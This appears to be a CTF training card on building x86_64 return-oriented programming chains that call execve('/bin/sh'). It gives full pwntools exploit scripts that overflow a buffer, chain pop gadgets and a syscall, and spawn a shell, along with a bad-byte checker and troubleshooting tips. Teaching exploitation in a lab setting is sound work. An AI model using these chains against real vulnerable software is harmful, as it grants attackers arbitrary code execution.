Browse CTFs New CTF Sign in

ROP Chain Construction: Gadget Chaining for execve Syscall with Stack Alignment and Bad-Byte Avoidance

reverse_engineering Difficulté 1–5 30 min certifiable

Théorie

Why This Matters

Return-Oriented Programming (ROP) is the general technique for achieving arbitrary computation using only code sequences already present in the binary or its libraries, without injecting new code. On NX-enabled 64-bit binaries, ROP replaces shellcode injection entirely. The execve("/bin/sh", NULL, NULL) syscall chain is the canonical ROP payload: set RAX=59, RDI=ptr("/bin/sh"), RSI=0, RDX=0, execute syscall. NICE K0168, K0169, and S0131 require mastery of ROP chain construction including gadget selection, handling bad bytes in addresses, and using pwntools' ROP class for automation.

Core Concept

A ROP chain is a sequence of return addresses placed on the stack. Each address points to a gadget — a short code sequence ending in ret. When the overflowed function's ret executes, it jumps to gadget 1; gadget 1's ret jumps to gadget 2; and so on, consuming the stack as a program counter.

For execve("/bin/sh", NULL, NULL) via raw syscall on x86_64: - RAX = 59 (SYS_execve) - RDI = address of "/bin/sh" string - RSI = 0 (argv = NULL) - RDX = 0 (envp = NULL) - Execute syscall

Required gadget types: - pop rax; ret — set RAX - pop rdi; ret — set RDI (first argument) - pop rsi; ret — set RSI (second argument) - pop rdx; ret — set RDX (third argument) - syscall (or syscall; ret) — invoke the kernel

The string "/bin/sh" must exist somewhere in writable or readable memory. Options: find it in libc (next(libc.search(b"/bin/sh"))), or write it to BSS via a prior read syscall.

Bad bytes: some delivery mechanisms (e.g., gets, scanf, fgets) terminate input on null bytes, newlines, or spaces. Gadget addresses containing these bytes cannot be used. Solutions: - Use alternative gadgets at different addresses that avoid bad bytes. - Use a ret sled (repeated ret gadgets) to advance RSP past the bad bytes by filling those positions with the address of a bare ret gadget. - XOR-encode the address and decode it with a gadget chain (rare in CTF but used in shellcode).

Technical Deep-Dive

Manual ROP chain construction:

from pwn import *

elf  = ELF('./rop_challenge')
libc = ELF('./libc.so.6')
p    = process('./rop_challenge')

# After leaking libc base (see ret2libc.v2 card):
libc.address = 0x7f1234560000  # example

# Find gadgets in libc (ROPgadget --binary ./libc.so.6 --rop)
pop_rax = libc.address + 0x36174     # pop rax; ret
pop_rdi = libc.address + 0x23b6a     # pop rdi; ret
pop_rsi = libc.address + 0x2601f     # pop rsi; ret
pop_rdx = libc.address + 0x142c92    # pop rdx; ret   (or pop rdx; pop rbx; ret -- use carefully)
syscall = libc.address + 0x630d9     # syscall; ret

binsh   = next(libc.search(b'/bin/sh'))  # "/bin/sh" in libc data

offset = 72   # buffer-to-RIP offset

chain  = b'A' * offset
chain += p64(pop_rax)  + p64(59)      # RAX = SYS_execve
chain += p64(pop_rdi)  + p64(binsh)   # RDI = "/bin/sh"
chain += p64(pop_rsi)  + p64(0)       # RSI = NULL
chain += p64(pop_rdx)  + p64(0)       # RDX = NULL
chain += p64(syscall)                  # syscall -> execve("/bin/sh", NULL, NULL)

p.sendlineafter(b'Input: ', chain)
p.interactive()

Using pwntools' ROP class for automated chain building:

from pwn import *

elf  = ELF('./rop_challenge')
libc = ELF('./libc.so.6')
libc.address = 0x7f1234560000

rop = ROP(libc)

binsh = next(libc.search(b'/bin/sh'))

# pwntools ROP class finds gadgets automatically
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(binsh)
rop.raw(rop.find_gadget(['pop rsi', 'ret']).address)
rop.raw(0)
rop.raw(rop.find_gadget(['pop rdx', 'ret']).address)
rop.raw(0)
rop.raw(rop.find_gadget(['pop rax', 'ret']).address)
rop.raw(59)
rop.raw(rop.find_gadget(['syscall']).address)

print(rop.dump())   # human-readable chain

payload = b'A' * 72 + bytes(rop)

Handling pop rdx; pop rbx; ret (common in binaries without a clean pop rdx; ret):

# If the only rdx gadget is "pop rdx; pop rbx; ret":
pop_rdx_rbx = libc.address + 0x10257d   # pop rdx; pop rbx; ret
chain += p64(pop_rdx_rbx) + p64(0) + p64(0)   # rdx=0, rbx=0 (rbx discarded)

Checking for bad bytes in gadget addresses:

bad_bytes = [b'x00', b'x0a', b'x0d', b' ']   # null, newline, CR, space

def check_addr(addr):
    encoded = p64(addr)
    for b in bad_bytes:
        if b in encoded:
            return False, b
    return True, None

for name, addr in [('pop_rax', pop_rax), ('pop_rdi', pop_rdi), ('syscall', syscall)]:
    ok, bad = check_addr(addr)
    if not ok:
        print(f'BAD: {name} at {addr:#x} contains {bad.hex()}')
    else:
        print(f'OK:  {name} at {addr:#x}')

Reverse Engineering Methodology

  1. Search for gadgets with ROPgadget --binary ./libc.so.6 --rop | grep "pop rax" and similar. For rare gadgets (e.g., pop rdx), try both the binary and libc — libc is far richer.
  2. Verify each gadget address does not contain bad bytes for the input vector. If a gadget address has a bad byte, search for an alternative (same effect, different address) or re-order the chain.
  3. Write the string "/bin/sh" to BSS if not in libc: chain a read(0, bss_addr, 8) syscall first (use pop gadgets to set up arguments), then send "/bin/shx00" interactively. This requires SYS_read = 0 in RAX and RDI = 0 (stdin).
  4. Test the chain in GDB with ASLR disabled before adding the ASLR bypass stage. Confirm each gadget executes in sequence by stepping with si and verifying register changes.

Common Reversing Errors

  • Forgetting 16-byte alignment before syscall: unlike call, syscall does not check alignment, so execve typically does not fail from misalignment — but subsequent function calls within libc (if the execve fails and falls through) will. For safety, keep the chain aligned.
  • Using pop rdx; pop rbx; ret without filling the extra pop: this gadget pops two values from the stack. Forgetting to include the second value (rbx) in the chain shifts every subsequent gadget address by 8 bytes, causing the chain to execute wrong gadgets.
  • Searching for "/bin/sh" in the wrong binary: the string "/bin/sh" is in libc's data segment, not in the challenge binary. Use next(libc.search(b"/bin/sh")) with the correct libc loaded. Confirm with strings libc.so.6 | grep "/bin/sh".
  • ROP class gadget search failing silently: if pwntools' ROP.find_gadget() returns None, the chain will crash. Always check the return value: gadget = rop.find_gadget(['pop rdi', 'ret']); assert gadget is not None.

Challenge Lab

Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.